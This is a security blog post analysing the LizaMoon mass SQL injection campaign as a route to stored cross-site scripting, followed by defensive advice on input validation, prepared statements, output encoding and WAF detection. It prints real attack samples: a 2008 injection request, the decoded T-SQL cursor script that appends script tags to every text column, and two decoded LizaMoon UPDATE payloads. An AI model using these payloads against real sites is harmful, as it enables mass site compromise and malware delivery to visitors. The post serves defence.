Analysis of LizaMoon: Stored XSS via SQL Injection

Blended Attacks

More and more of today's web application attacks are leveraging multiple weaknesses, vulnerabilities and attack methods in order to achieve a desired exploitation outcome. It is becoming more and more difficult to neatly place an attack into one specific container (such as XSS, SQL Injection, etc...). These are blended attacks.

LizaMoon Attacks

As most of you have already heard, or have faced yourselves, the LizaMoon mass SQL Injection attacks are still going strong on the web. Here is a recent entry from the WASC Web Hacking Incident Database (WHID) -

WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site

Entry Title: WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site
WHID ID: 2011-61
Date Occurred: March 29, 2011
Attack Method: SQL Injection
Application Weakness: Improper Input Handling
Outcome: Planting of Malware
Attacked Entity Field: Multiple
Attacked Entity Geography:
Incident Description: Attackers have launched a large-scale SQL injection attack that has compromised several thousand legitimate Websites, including a few catalog pages from Apple's iTunes music store.
Mass Attack: Yes
Mass Attack Name: LizaMoon
Attack Source Geography:

SQL Injection or Cross-site Scripting?

While SQL Injection was used as the attack vector, it was merely a means to an end. The desired outcome of these attacks are to execute code within a web visitor's browser, which is the definition of Cross-site Scripting. It is important to keep this end goal in mind when considering mitigation options. So why are people focusing so much on the SQL Injection aspect of these attacks? One word - Scale.

Economies of Scale - Generic SQL Injection Payloads

Historically, criminals had a tough time creating SQL Injection payloads that would mass exploit web applications. This was mainly due to website running custom coded apps. No two sites were the same. This means that attackers didn't have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures. This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.

Mass SQL Injection Bots in 2008

In 2008, attackers figure out an ingenious method to generically inject SQL payloads into any vulnerable sites without prior knowledge of the database structure. They accomplish this by using multiple sql commands to essentially create a script that would generically gather then loop through all table names and append on some malicious javascript that points to malware on a 3rd party site.

A Skeleton Key attack payload if you will all in one request. Brutal...

Here is an example generic SQL injection payload from 2008 -

GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20
VARCHAR(4000));EXEC(@S);-- HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Language: en-US
Accept-Encoding: deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Connection: Close

If we decode the HEX encoded SQL data, we see that this is actually a script command that loops through various DB table fields and then appends the XSS javascript code to them all -

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT, FROM sysobjects a,syscolumns b WHERE AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Current LizaMoon-type SQL Injection Payloads

We have analyzed a number of different examples from the current LizaMoon-type SQL Injection attacks and have noticed some differences from the previous examples of 2008. The main difference is that these new attack payloads are not generic scripts like the ones from 2008. These payloads are specific to each site. Here are two examples:

Sample #1 -


Sample #1 Decoded -

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(</title><script src=>+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Notice that this SQL payload does not use the same generic for loop scripting and intstead focuses on specific DB fields (usd_ResponseDetails and categoryName).

Sample #2 -


Sample #2 Decoded -

prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(</title><script src=></script>

Notice, again, that this SQL payload does not use the same generic for loop scripting and intstead focuses on different specific DB fields (tblMembers and Forename).

This means that, while these SQL Injection attacks are highly successful, they are not generic in nature and thus require some sort of SQL probing in order to identify the proper DB structure before sending the final attack payload.

Defending against SQL Injection

Step #1 - Input Validation

The first step in defending against this type of attack is to ensure that you are filtering client input and applying input validation mechanisms to ensure that the data is acceptable. The OWASP ModSecurity Core Rule Set (CRS) Project contains many different rules that identify these types of attacks. You can even follow this link to send the same payload to the online ModSecurity CRS demo page and see the various rules that trigger.

Step #2 - Use Prepared Statements with Bound Parameters

The underlying issue with SQL Injection attacks is that many SQL statements are dynamically created by simply concatenating client data into the query. You should review the OWASP SQL Injection Cheat-sheet document to get a better understanding of the issues.

Defending against XSS

Let's not forget that the actual goal of these attacks are XSS. These SQL Injection payloads are adding in rogue html javascript tags to response pages. Here are a few defensive items to consider.

OWASP XSS Prevention Cheat-sheet

Make sure that all developers review the OWASP XSS Prevention Cheat-sheet.

Output Encoding/Escaping

An intersting item to note with trying to identify the scale of these mass attacks is this -

The number of infected links returned by search engines only lists when sql injection was successful but the XSS payload injection wasn't.

Why is this? Take a look at an example Google Search question for LizaMoon payloads. Here is some example raw html of a site returned by the search:

<td id="tdDevelopmentName">Riyad Resort      &lt;/title&gt;&lt;script src=;&lt;/script&gt;&lt;/title&gt;&lt;script src=;&lt;/script&gt; Gallery</td>

This code does not execute javascript but instead only renders the text. If the XSS script tags were successfully injected, meaning that the apps were not properly output encoding/escaping payloads, then the search engine spiders would not be indexing the snippets of code. The search engines do not index the raw html source code but only the rendered text.

So, even though sites listed in the search results were vulnerable to SQL Injection and compromised, they actually prevented the goal of this attack since the web app is properly output encoding the data sent to the clients.

Ensure proper Output Encoding/Escaping Coverage

After working with new customers who came to us after being compromised, we are finding some interesing root-cause/remediation scenarios. Even if an organization conducts proper application analysis to identify locations that hold user-supplied data, where they are echoed back to clients and then applying proper contextual output encoding, this may not be enough...

You may be saying "Huh?"

Due to the SQL Injection payload adding the malicious JS data to many back-end DB fields, the data may be injected into a field (such as the page Title data) that was never legitimately supposed to contain user-supplied data. The result is that organization must re-analyze their output escaping strategy to ensure that they have applied encoding to all possible fields.

Identifying Rogue JavaScript in Output

Regardless of inbound request data, security devices such as Web Application Firewalls (WAFs) can aid in the tracking of legitimate script tags contained within web pages. For instance, the Trustwave WebDefend WAF has the capability to identify when new script tags are successfully entered into response pages.

Identifying Malware Links in Response Pages

As outlined in the previous blog post ModSecurity Advanced Topic of the Week: Malware Link Detection, ModSecurity has a new API which allows it to utilize Google's Safe Browsing DB. This can help to prevent malicious links from being sent from your site onto clients.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.